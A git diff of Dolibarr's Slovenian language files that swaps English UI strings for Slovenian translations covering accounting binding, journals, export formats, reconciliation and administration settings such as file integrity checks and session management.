are visible) -DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account -DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account -DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account -DescVentilExpenseReportMore=If you setup accounting account on type of expense report lines, the application will be able to make all the binding between your expense report lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on fees dictionary or if you still have some lines not bound to any account, you will have to make a manual binding from the menu "%s". -DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) +DescVentilDoneSupplier=Tukaj si oglejte seznam vrstic računov dobaviteljev in njihov računovodski račun +DescVentilTodoExpenseReport=Povežite vrstice poročila o stroških, ki še niso povezane z računom za obračunavanje provizij +DescVentilExpenseReport=Tukaj si oglejte seznam vrstic poročila o stroških, ki so vezane (ali ne) na račun za obračunavanje provizij +DescVentilExpenseReportMore=Če nastavite računovodski račun na vrstice poročila o stroških, bo aplikacija lahko naredila vse povezave med vrsticami poročila o stroških in računovodskim kontom vašega kontnega načrta, samo z enim klikom z gumbom "%s" . Če račun ni bil nastavljen v slovarju pristojbin ali če imate še vedno nekaj vrstic, ki niso vezane na noben račun, boste morali narediti ročno vezavo iz menija " %s ". +DescVentilDoneExpenseReport=Tukaj si oglejte seznam vrstic poročil o stroških in njihovih obračunskih računov za provizije -Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements -DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible +Closure=Letno zaprtje +DescClosure=Tukaj si oglejte število premikov po mesecih, ki še niso potrjeni in zaklenjeni +OverviewOfMovementsNotValidated=Pregled premikov ni preverjen in zaklenjen +AllMovementsWereRecordedAsValidated=Vsi premiki so bili zabeleženi kot potrjeni in zaklenjeni +NotAllMovementsCouldBeRecordedAsValidated=Vseh premikov ni bilo mogoče zabeležiti kot potrjenih in zaklenjenih +ValidateMovements=Preveri in zakleni premike ... +DescValidateMovements=Prepovedano je kakršno koli spreminjanje ali brisanje zapisov, črk in izbrisov. Vsi vnosi za vajo morajo biti potrjeni, sicer zapiranje ne bo mogoče -ValidateHistory=Bind Automatically -AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +ValidateHistory=Samodejno vezanje +AutomaticBindingDone=Samodejne vezave opravljene (%s) - Samodejna vezava ni mogoča za nekatere zapise (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Napaka, ne morete izbrisati to računovodsko račun, ker se uporablja -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s -Balancing=Balancing -FicheVentilation=Binding card -GeneralLedgerIsWritten=Transactions are written in the Ledger -GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account -ChangeBinding=Change the binding -Accounted=Accounted in ledger -NotYetAccounted=Not yet transferred to accounting -ShowTutorial=Show Tutorial -NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Gibanje ni pravilno uravnoteženo. Debet = %s & kredit = %s +Balancing=Uravnoteženje +FicheVentilation=Kartica za vezavo +GeneralLedgerIsWritten=Transakcije se zapisujejo v Knjigo +GeneralLedgerSomeRecordWasNotRecorded=Nekaterih transakcij ni bilo mogoče zabeležiti. Če ni drugega sporočila o napaki, je to verjetno zato, ker so bili že zabeleženi. +NoNewRecordSaved=Nič več zapisa za prenos +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account +ChangeBinding=Spremenite vezavo +Accounted=Obračunano v knjigi +NotYetAccounted=Še ni preneseno v računovodstvo +ShowTutorial=Prikaži vadnico +NotReconciled=Niso usklajeni +WarningRecordWithoutSubledgerAreExcluded=Opozorilo, vse vrstice brez definiranega konta pomožne knjige so filtrirane in izključene iz tega pogleda +AccountRemovedFromCurrentChartOfAccount=Računovodski račun, ki ne obstaja v veljavnem kontnem načrtu ## Admin -BindingOptions=Binding options -ApplyMassCategories=Apply mass categories -AddAccountFromBookKeepingWithNoCategories=Available account not yet in the personalized group -CategoryDeleted=Category for the accounting account has been removed -AccountingJournals=Accounting journals -AccountingJournal=Accounting journal -NewAccountingJournal=New accounting journal -ShowAccountingJournal=Show accounting journal -NatureOfJournal=Nature of Journal -AccountingJournalType1=Miscellaneous operations +BindingOptions=Možnosti vezave +ApplyMassCategories=Uporabi množične kategorije +AddAccountFromBookKeepingWithNoCategories=Razpoložljiv račun še ni v prilagojeni skupini +CategoryDeleted=Kategorija za računovodski račun je bila odstranjena +AccountingJournals=Računovodski dnevniki +AccountingJournal=Računovodski dnevnik +NewAccountingJournal=Nov računovodski dnevnik +ShowAccountingJournal=Prikaži knjigovodski dnevnik +NatureOfJournal=Narava časopisa +AccountingJournalType1=Razne operacije AccountingJournalType2=Prodaja AccountingJournalType3=Nabava AccountingJournalType4=Banka -AccountingJournalType5=Expenses report -AccountingJournalType8=Inventory -AccountingJournalType9=Has-new -ErrorAccountingJournalIsAlreadyUse=This journal is already use -AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s -NumberOfAccountancyEntries=Number of entries -NumberOfAccountancyMovements=Number of movements -ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) -ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) -ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +AccountingJournalType5=Stroškovna poročila +AccountingJournalType8=Inventar +AccountingJournalType9=Ima-novo +GenerationOfAccountingEntries=Generation of accounting entries +ErrorAccountingJournalIsAlreadyUse=Ta dnevnik je že v uporabi +AccountingAccountForSalesTaxAreDefinedInto=Opomba: Računovodski račun za prometni davek je definiran v meniju %s - %s +NumberOfAccountancyEntries=Število vnosov +NumberOfAccountancyMovements=Število gibov +ACCOUNTING_DISABLE_BINDING_ON_SALES=Onemogočanje vezave in prenosa v računovodstvu pri prodaji (računi kupcev se ne bodo upoštevali v računovodstvu) +ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Onemogočanje vezave in prenosa v računovodstvu pri nakupih (računi dobaviteljev se ne bodo upoštevali v računovodstvu) +ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Onemogoči vezavo in prenos v računovodstvu na poročilih o stroških (poročila o stroških ne bodo upoštevana v računovodstvu) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) -ConfirmExportFile=Confirmation of the generation of the accounting export file ? -ExportDraftJournal=Export draft journal +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Označi izvožene vrstice kot izvožene (če želite spremeniti vrstico, boste morali izbrisati celotno transakcijo in jo znova prenesti v računovodstvo) +NotifiedValidationDate=Potrdi in zakleni izvožene vnose (isti učinek kot funkcija "%s", spreminjanje in brisanje vrstic DEFINITIVNO ne bo mogoče) +NotifiedExportFull=Export documents ? +DateValidationAndLock=Preverjanje datuma in zaklepanje +ConfirmExportFile=Potrditev generiranja računovodske izvozne datoteke? +ExportDraftJournal=Izvozi osnutek dnevnika Modelcsv=Model izvoza Selectmodelcsv=Izberite model izvoza Modelcsv_normal=Classic izvoz -Modelcsv_CEGID=Export for CEGID Expert Comptabilité -Modelcsv_COALA=Export for Sage Coala -Modelcsv_bob50=Export for Sage BOB 50 -Modelcsv_ciel=Export for Sage50, Ciel Compta or Compta Evo. (Format XIMPORT) -Modelcsv_quadratus=Export for Quadratus QuadraCompta -Modelcsv_ebp=Export for EBP -Modelcsv_cogilog=Export for Cogilog -Modelcsv_agiris=Export for Agiris Isacompta -Modelcsv_LDCompta=Export for LD Compta (v9) (Test) -Modelcsv_LDCompta10=Export for LD Compta (v10 & higher) -Modelcsv_openconcerto=Export for OpenConcerto (Test) -Modelcsv_configurable=Export CSV Configurable -Modelcsv_FEC=Export FEC -Modelcsv_FEC2=Export FEC (With dates generation writing / document reversed) -Modelcsv_Sage50_Swiss=Export for Sage 50 Switzerland -Modelcsv_winfic=Export for Winfic - eWinfic - WinSis Compta -Modelcsv_Gestinumv3=Export for Gestinum (v3) -Modelcsv_Gestinumv5=Export for Gestinum (v5) -Modelcsv_charlemagne=Export for Aplim Charlemagne -ChartofaccountsId=Chart of accounts Id +Modelcsv_CEGID=Izvoz za CEGID Expert Comptabilité +Modelcsv_COALA=Izvoz za Sage Coala +Modelcsv_bob50=Izvoz za Sage BOB 50 +Modelcsv_ciel=Izvoz za Sage50, Ciel Compta ali Compta Evo. (Oblika XIMPORT) +Modelcsv_quadratus=Izvoz za Quadratus QuadraCompta +Modelcsv_ebp=Izvoz za EBP +Modelcsv_cogilog=Izvoz za Cogilog +Modelcsv_agiris=Izvoz za Agiris Isacompta +Modelcsv_LDCompta=Izvoz za LD Compta (v9) (preizkus) +Modelcsv_LDCompta10=Izvoz za LD Compta (v10 in višje) +Modelcsv_openconcerto=Izvoz za OpenConcerto (test) +Modelcsv_configurable=Izvoz CSV Nastavljiv +Modelcsv_FEC=Izvoz FEC +Modelcsv_FEC2=Izvoz FEC (z zapisom generiranja datumov/obrnjenim dokumentom) +Modelcsv_Sage50_Swiss=Izvoz za Sage 50 Švica +Modelcsv_winfic=Izvoz za Winfic - eWinfic - WinSis Compta +Modelcsv_Gestinumv3=Izvoz za Gestinum (v3) +Modelcsv_Gestinumv5=Izvoz za Gestinum (v5) +Modelcsv_charlemagne=Izvoz za Aplima Karla Velikega +ChartofaccountsId=Kontni načrt Id ## Tools - Init accounting account on product / service -InitAccountancy=Init accountancy -InitAccountancyDesc=This page can be used to initialize an accounting account on products and services that does not have accounting account defined for sales and purchases. -DefaultBindingDesc=This page can be used to set a default account to use to link transactions record about payment salaries, donation, taxes and vat when no specific accounting account were already set. -DefaultClosureDesc=This page can be used to set parameters used for accounting closures. -Options=Options -OptionModeProductSell=Mode sales -OptionModeProductSellIntra=Mode sales exported in EEC -OptionModeProductSellExport=Mode sales exported in other countries -OptionModeProductBuy=Mode purchases -OptionModeProductBuyIntra=Mode purchases imported in EEC -OptionModeProductBuyExport=Mode purchased imported from other countries -OptionModeProductSellDesc=Show all products with accounting account for sales. -OptionModeProductSellIntraDesc=Show all products with accounting account for sales in EEC. -OptionModeProductSellExportDesc=Show all products with accounting account for other foreign sales. -OptionModeProductBuyDesc=Show all products with accounting account for purchases. -OptionModeProductBuyIntraDesc=Show all products with accounting account for purchases in EEC. -OptionModeProductBuyExportDesc=Show all products with accounting account for other foreign purchases. -CleanFixHistory=Remove accounting code from lines that not exists into charts of account -CleanHistory=Reset all bindings for selected year -PredefinedGroups=Predefined groups -WithoutValidAccount=Without valid dedicated account -WithValidAccount=With valid dedicated account -ValueNotIntoChartOfAccount=This value of accounting account does not exist into chart of account -AccountRemovedFromGroup=Account removed from group -SaleLocal=Local sale -SaleExport=Export sale -SaleEEC=Sale in EEC -SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. -ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. -ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. +InitAccountancy=Začetno računovodstvo +InitAccountancyDesc=To stran lahko uporabite za inicializacijo računovodskega računa za izdelke in storitve, ki nimajo definiranega računovodskega računa za prodajo in nakupe. +DefaultBindingDesc=To stran lahko uporabite za nastavitev privzetega računa, ki se uporablja za povezovanje evidenc transakcij o izplačilih plač, donacijah, davkih in DDV, kadar še ni nastavljen poseben računovodski račun. +DefaultClosureDesc=To stran lahko uporabite za nastavitev parametrov, ki se uporabljajo za računovodske zaključke. +Options=Opcije +OptionModeProductSell=Način prodaje +OptionModeProductSellIntra=Način prodaje, izvožen v EGS +OptionModeProductSellExport=Način prodaje, izvožen v druge države +OptionModeProductBuy=Način nakupov +OptionModeProductBuyIntra=Načini nakupov, uvoženih v EGS +OptionModeProductBuyExport=Način kupljen uvožen iz drugih držav +OptionModeProductSellDesc=Prikaži vse izdelke z računovodskim računom za prodajo. +OptionModeProductSellIntraDesc=Prikaži vse izdelke z računovodskim računom za prodajo v EGS. +OptionModeProductSellExportDesc=Pokažite vse izdelke z računovodskim računom za drugo prodajo v tujini. +OptionModeProductBuyDesc=Prikaži vse izdelke z računovodskim računom za nakupe. +OptionModeProductBuyIntraDesc=Prikaži vse izdelke z računovodskim računom za nakupe v EGS. +OptionModeProductBuyExportDesc=Prikaži vse izdelke z računovodskim računom za druge nakupe v tujini. +CleanFixHistory=Odstranite računovodsko kodo iz vrstic, ki ne obstajajo, v kontnih načrtih +CleanHistory=Ponastavi vse vezave za izbrano leto +PredefinedGroups=Vnaprej določene skupine +WithoutValidAccount=Brez veljavnega namenskega računa +WithValidAccount=Z veljavnim namenskim računom +ValueNotIntoChartOfAccount=Ta vrednost računovodskega konta ne obstaja v kontnem načrtu +AccountRemovedFromGroup=Račun odstranjen iz skupine +SaleLocal=Lokalna prodaja +SaleExport=Izvozna prodaja +SaleEEC=Prodaja v EGS +SaleEECWithVAT=Prodaja v EGS z DDV ni ničelna, zato predpostavljamo, da to NI prodaja znotraj skupnosti in da je predlagani račun standardni račun izdelka. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. +ForbiddenTransactionAlreadyExported=Prepovedano: transakcija je bila potrjena in/ali izvožena. +ForbiddenTransactionAlreadyValidated=Prepovedano: transakcija je bila potrjena. ## Dictionary -Range=Range of accounting account -Calculated=Calculated +Range=Obseg računovodskega računa +Calculated=Izračunano Formula=Formula +## Reconcile +LetteringAuto=Uskladi avto +LetteringManual=Priročnik za usklajevanje +Unlettering=Nespravljivo +UnletteringAuto=Neusklajeni avto +UnletteringManual=Priročnik za neskladje +AccountancyNoLetteringModified=Usklajevanje ni spremenjeno +AccountancyOneLetteringModifiedSuccessfully=Ena uskladitev je bila uspešno spremenjena +AccountancyLetteringModifiedSuccessfully=%s uskladitev uspešno spremenjena +AccountancyNoUnletteringModified=Ni spremenjenih neskladij +AccountancyOneUnletteringModifiedSuccessfully=Ena nezdružljivost je bila uspešno spremenjena +AccountancyUnletteringModifiedSuccessfully=%s nezdružljivost uspešno spremenjena + +## Confirm box +ConfirmMassUnletteringAuto=Potrditev množične samodejne neusklajenosti +ConfirmMassUnletteringManual=Množična ročna potrditev neusklajenosti +ConfirmMassUnletteringQuestion=Ali ste prepričani, da želite preklicati uskladitev %s izbranih zapisov? +ConfirmMassDeleteBookkeepingWriting=Potrditev množičnega brisanja +ConfirmMassDeleteBookkeepingWritingQuestion=S tem boste transakcijo izbrisali iz računovodstva (izbrisane bodo vse vrstice, povezane z isto transakcijo). Ali ste prepričani, da želite izbrisati %s izbrane zapise? + ## Error -SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them -ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) -ErrorInvoiceContainsLinesNotYetBounded=You try to journalize some lines of the invoice %s, but some other lines are not yet bounded to accounting account. Journalization of all invoice lines for this invoice are refused. -ErrorInvoiceContainsLinesNotYetBoundedShort=Some lines on invoice are not bound to accounting account. -ExportNotSupported=The export format setuped is not supported into this page -BookeppingLineAlreayExists=Lines already existing into bookkeeping -NoJournalDefined=No journal defined -Binded=Lines bound -ToBind=Lines to bind -UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually -SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +SomeMandatoryStepsOfSetupWereNotDone=Nekateri obvezni koraki nastavitve niso bili izvedeni, prosimo, da jih dokončate +ErrorNoAccountingCategoryForThisCountry=Za državo %s ni na voljo nobena skupina računovodskih računov (Glejte Domov – Nastavitve – Slovarji) +ErrorInvoiceContainsLinesNotYetBounded=Nekaj vrstic računa poskušate evidentirati %s , nekatere druge vrstice pa še niso vezane na računovodski konto. Dnevnik vseh vrstic računa za ta račun je zavrnjen. +ErrorInvoiceContainsLinesNotYetBoundedShort=Nekatere vrstice na računu niso vezane na računovodski račun. +ExportNotSupported=Nastavljena oblika izvoza ni podprta na tej strani +BookeppingLineAlreayExists=Že obstoječe vrstice v knjigovodstvu +NoJournalDefined=Noben dnevnik ni opredeljen +Binded=Vezane vrstice +ToBind=Vrstice za vezavo +UseMenuToSetBindindManualy=Vrstice še niso vezane, uporabite meni %s za ročno vezavo +SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Žal ta modul ni združljiv s poskusno funkcijo situacijskih računov +AccountancyErrorMismatchLetterCode=Neujemanje v kodi za usklajevanje +AccountancyErrorMismatchBalanceAmount=Stanje (%s) ni enako 0 +AccountancyErrorLetteringBookkeeping=Prišlo je do napak v zvezi s transakcijami: %s +ErrorAccountNumberAlreadyExists=Knjigovodska številka %s že obstaja +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import -ImportAccountingEntries=Accounting entries -ImportAccountingEntriesFECFormat=Accounting entries - FEC format -FECFormatJournalCode=Code journal (JournalCode) -FECFormatJournalLabel=Label journal (JournalLib) -FECFormatEntryNum=Piece number (EcritureNum) -FECFormatEntryDate=Piece date (EcritureDate) -FECFormatGeneralAccountNumber=General account number (CompteNum) -FECFormatGeneralAccountLabel=General account label (CompteLib) -FECFormatSubledgerAccountNumber=Subledger account number (CompAuxNum) -FECFormatSubledgerAccountLabel=Subledger account number (CompAuxLib) -FECFormatPieceRef=Piece ref (PieceRef) -FECFormatPieceDate=Piece date creation (PieceDate) -FECFormatLabelOperation=Label operation (EcritureLib) -FECFormatDebit=Debit (Debit) -FECFormatCredit=Credit (Credit) -FECFormatReconcilableCode=Reconcilable code (EcritureLet) -FECFormatReconcilableDate=Reconcilable date (DateLet) -FECFormatValidateDate=Piece date validated (ValidDate) -FECFormatMulticurrencyAmount=Multicurrency amount (Montantdevise) -FECFormatMulticurrencyCode=Multicurrency code (Idevise) +ImportAccountingEntries=Računovodske knjižbe +ImportAccountingEntriesFECFormat=Računovodske knjižbe - format FEC +FECFormatJournalCode=Dnevnik kode (JournalCode) +FECFormatJournalLabel=Dnevnik etiket (JournalLib) +FECFormatEntryNum=Številka kosa (EcritureNum) +FECFormatEntryDate=Datum dela (EcritureDate) +FECFormatGeneralAccountNumber=Splošna številka računa (CompteNum) +FECFormatGeneralAccountLabel=Splošna oznaka računa (CompteLib) +FECFormatSubledgerAccountNumber=Številka računa podknjige (CompAuxNum) +FECFormatSubledgerAccountLabel=Številka računa podknjige (CompAuxLib) +FECFormatPieceRef=Kos Ref (PieceRef) +FECFormatPieceDate=Ustvarjanje datuma kosa (PieceDate) +FECFormatLabelOperation=Delovanje oznake (EcritureLib) +FECFormatDebit=Debet (Debet) +FECFormatCredit=kredit (kredit) +FECFormatReconcilableCode=Združljiva koda (EcritureLet) +FECFormatReconcilableDate=Datum, ki ga je mogoče uskladiti (DateLet) +FECFormatValidateDate=Datum kosa potrjen (ValidDate) +FECFormatMulticurrencyAmount=Znesek v več valutah (Montantdevise) +FECFormatMulticurrencyCode=Koda za več valut (Idevise) -DateExport=Date export -WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. -ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +DateExport=Izvoz datuma +WarningReportNotReliable=Opozorilo, to poročilo ne temelji na knjigi, zato ne vsebuje transakcij, ki so bile ročno spremenjene v knjigi. Če je vaša dnevnika ažurna, je knjigovodski pogled natančnejši. +ExpenseReportJournal=Dnevnik poročil o stroških +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines -NAccounts=%s accounts +NAccounts=računi %s diff --git a/htdocs/langs/sl_SI/admin.lang b/htdocs/langs/sl_SI/admin.lang index 8712f5b9641..6128136e73b 100644 --- a/htdocs/langs/sl_SI/admin.lang +++ b/htdocs/langs/sl_SI/admin.lang @@ -1,74 +1,72 @@ # Dolibarr language file - Source file is en_US - admin -BoldRefAndPeriodOnPDF=Print reference and period of product item in PDF -BoldLabelOnPDF=Print label of product item in Bold in PDF +BoldRefAndPeriodOnPDF=Natisnite referenco in obdobje postavke izdelka v PDF +BoldLabelOnPDF=Natisnite etiketo izdelka v krepkem tisku v PDF Foundation=Ustanova Version=Različica -Publisher=Publisher +Publisher=Založnik VersionProgram=Različica programa -VersionLastInstall=Initial install version -VersionLastUpgrade=Latest version upgrade +VersionLastInstall=Začetna različica namestitve +VersionLastUpgrade=Najnovejša nadgradnja različice VersionExperimental=Preizkusna VersionDevelopment=Razvojna VersionUnknown=Neznana VersionRecommanded=Priporočena -FileCheck=Fileset Integrity Checks -FileCheckDesc=This tool allows you to check the integrity of files and the setup of your application, comparing each file with the official one. The value of some setup constants may also be checked. You can use this tool to determine if any files have been modified (e.g by a hacker). -FileIntegrityIsStrictlyConformedWithReference=Files integrity is strictly conformed with the reference. -FileIntegrityIsOkButFilesWereAdded=Files integrity check has passed, however some new files have been added. -FileIntegritySomeFilesWereRemovedOrModified=Files integrity check has failed. Some files were modified, removed or added. -GlobalChecksum=Global checksum -MakeIntegrityAnalysisFrom=Make integrity analysis of application files from -LocalSignature=Embedded local signature (less reliable) -RemoteSignature=Remote distant signature (more reliable) +FileCheck=Preverjanje celovitosti nabora datotek +FileCheckDesc=To orodje vam omogoča, da preverite celovitost datotek in nastavitev vaše aplikacije, tako da vsako datoteko primerjate z uradno. Prav tako je mogoče preveriti vrednost nekaterih nastavitvenih konstant. S tem orodjem lahko ugotovite, ali je bila katera koli datoteka spremenjena (npr. s strani hekerja). +FileIntegrityIsStrictlyConformedWithReference=Celovitost datotek je strogo skladna z referenco. +FileIntegrityIsOkButFilesWereAdded=Preverjanje celovitosti datotek je bilo uspešno, vendar je bilo nekaj novih datotek dodanih. +FileIntegritySomeFilesWereRemovedOrModified=Preverjanje celovitosti datotek ni uspelo. Nekatere datoteke so bile spremenjene, odstranjene ali dodane. +GlobalChecksum=Globalna kontrolna vsota +MakeIntegrityAnalysisFrom=Naredite analizo integritete aplikacijskih datotek iz +LocalSignature=Vdelan lokalni podpis (manj zanesljiv) +RemoteSignature=Oddaljeni oddaljeni podpis (bolj zanesljiv) FilesMissing=Manjkajoče datoteke FilesUpdated=Posodobljene datoteke -FilesModified=Modified Files -FilesAdded=Added Files -FileCheckDolibarr=Check integrity of application files -AvailableOnlyOnPackagedVersions=The local file for integrity checking is only available when the application is installed from an official package -XmlNotFound=Xml Integrity File of application not found +FilesModified=Spremenjene datoteke +FilesAdded=Dodane datoteke +FileCheckDolibarr=Preverite celovitost aplikacijskih datotek +AvailableOnlyOnPackagedVersions=Lokalna datoteka za preverjanje celovitosti je na voljo samo, če je aplikacija nameščena iz uradnega paketa +XmlNotFound=Xml Integrity Datoteke aplikacije ni bilo mogoče najti SessionId=ID seje SessionSaveHandler=Rutina za shranjevanje seje -SessionSavePath=Session save location +SessionSavePath=Lokacija shranjevanja seje PurgeSessions=Odstranitev sej -ConfirmPurgeSessions=Do you really want to purge all sessions? This will disconnect every user (except yourself). -NoSessionListWithThisHandler=Save session handler configured in your PHP does not allow listing all running sessions. +ConfirmPurgeSessions=Ali res želite počistiti vse seje? S tem boste prekinili povezavo vseh uporabnikov (razen vas). +NoSessionListWithThisHandler=Obravnavalnik shranjevanja sej, konfiguriran v vašem PHP-ju, ne dovoljuje prikaza vseh sej, ki se izvajajo. LockNewSessions=Zaklepanje novih povezav -ConfirmLockNewSessions=Are you sure you want to restrict any new Dolibarr connection to yourself? Only user %s will be able to connect after that. +ConfirmLockNewSessions=Ali ste prepričani, da želite vsako novo povezavo Dolibarr omejiti nase? Po tem se bo lahko povezal samo uporabnik %s . UnlockNewSessions=Odstrani blokado povezovanja YourSession=Vaša seja -Sessions=Users Sessions +Sessions=Uporabniške seje WebUserGroup=Spletni strežnik uporabnik / skupina -PermissionsOnFiles=Permissions on files -PermissionsOnFilesInWebRoot=Permissions on files in web root directory -PermissionsOnFile=Permissions on file %s -NoSessionFound=Your PHP configuration seems to not allow listing of active sessions. The directory used to save sessions (%s) may be protected (for example by OS permissions or by PHP directive open_basedir). +PermissionsOnFiles=Dovoljenja za datoteke +PermissionsOnFilesInWebRoot=Dovoljenja za datoteke v spletnem korenskem imeniku +PermissionsOnFile=Dovoljenja za datoteko %s +NoSessionFound=Zdi se, da vaša konfiguracija PHP ne dovoljuje seznama aktivnih sej. Imenik, ki se uporablja za shranjevanje sej ( %s ), je lahko zaščiten (na primer z dovoljenji OS ali z direktivo PHP open_basedir). DBStoringCharset=Nabor znakov v bazi podatkov za shranjevanje podatkov DBSortingCharset=Nabor znakov v bazi podatkov za sortiranje podatkov -HostCharset=Host charset -ClientCharset=Client charset -ClientSortingCharset=Client collation +HostCharset=Nabor znakov gostitelja +ClientCharset=Nabor znakov odjemalca +ClientSortingCharset=Primerjava partnerjev WarningModuleNotActive=Modul %s mora biti omogočen WarningOnlyPermissionOfActivatedModules=Tukaj so prikazana samo dovoljenja, ki se nanašajo na aktivirane module. Ostale module lahko aktivirate na strani Domov->Nastavitve->Moduli. -DolibarrSetup=Dolibarr nastavitve -InternalUser=Interni uporabnik -ExternalUser=Zunanji uporabnik +DolibarrSetup=Namestitev ali nadgradnja InternalUsers=Interni uporabniki ExternalUsers=Zunanji uporabniki -UserInterface=User interface +UserInterface=Uporabniški vmesnik GUISetup=Prikaz SetupArea=Nastavitve -UploadNewTemplate=Upload new template(s) -FormToTestFileUploadForm=Testiranje »upload-a« (v skladu z nastavitvami) -ModuleMustBeEnabled=The module/application %s must be enabled -ModuleIsEnabled=The module/application %s has been enabled +UploadNewTemplate=Naloži nove predloge +FormToTestFileUploadForm=Testiranje nalaganja datotek (v skladu z nastavitvami) +ModuleMustBeEnabled=Modul/aplikacija %s mora biti omogočena +ModuleIsEnabled=Modul/aplikacija %s je omogočen IfModuleEnabled=Opomba: 'Da' velja samo, če je omogočen modul %s -RemoveLock=Remove/rename file %s if it exists, to allow usage of the Update/Install tool. -RestoreLock=Restore file %s, with read permission only, to disable any further use of the Update/Install tool. +RemoveLock=Odstranite/preimenujte datoteko %s , če obstaja, da omogočite uporabo orodja za posodobitev/namestitev. +RestoreLock=Obnovite datoteko %s samo z dovoljenjem za branje, da onemogočite nadaljnjo uporabo orodja za posodobitev/namestitev. SecuritySetup=Varnostne nastavitve -PHPSetup=PHP setup -OSSetup=OS setup -SecurityFilesDesc=Define here options related to security about uploading files. +PHPSetup=Nastavitev PHP +OSSetup=nastavitev OS +SecurityFilesDesc=Tukaj določite možnosti, povezane z varnostjo nalaganja datotek. ErrorModuleRequirePHPVersion=Napaka, ta modul zahteva PHP različico %s ali višjo ErrorModuleRequireDolibarrVersion=Napaka, Ta modul zahteva Dolibarr različico %s ali višjo ErrorDecimalLargerThanAreForbidden=Napaka, višja natančnost od %s ni podprta. @@ -77,25 +75,25 @@ Dictionary=Slovarji ErrorReservedTypeSystemSystemAuto=Vrednosti 'system' in 'systemauto' za tip sta rezervirani. Uporabite lahko 'user' za dodajanje lastnih zapisov ErrorCodeCantContainZero=Koda ne sme vsebovati vrednosti 0 DisableJavascript=Onemogoči JavaScript in Ajax funkcije -DisableJavascriptNote=Note: For test or debug purpose only. For optimization for blind person or text browsers, you may prefer to use the setup on the profile of user +DisableJavascriptNote=Opomba: samo za preizkus ali odpravljanje napak. Za optimizacijo za slepe osebe ali besedilne brskalnike boste morda raje uporabili nastavitev v profilu uporabnika UseSearchToSelectCompanyTooltip=Če je partnerjev zelo veliko (> 100 000), lahko hitrost povišate z nastavitvijo konstante SOCIETE_DONOTSEARCH_ANYWHERE na 1 v Nastavitve->Ostale nastavitve. Iskanje bo s tem omejeno na začetek niza. UseSearchToSelectContactTooltip=Če je partnerjev zelo veliko (> 100 000), lahko hitrost povišate z nastavitvijo konstante SOCIETE_DONOTSEARCH_ANYWHERE na 1 v Nastavitve->Ostale nastavitve. Iskanje bo s tem omejeno na začetek niza. -DelaiedFullListToSelectCompany=Wait until a key is pressed before loading content of Third Parties combo list.
      This may increase performance if you have a large number of third parties, but it is less convenient. -DelaiedFullListToSelectContact=Wait until a key is pressed before loading content of Contact combo list.
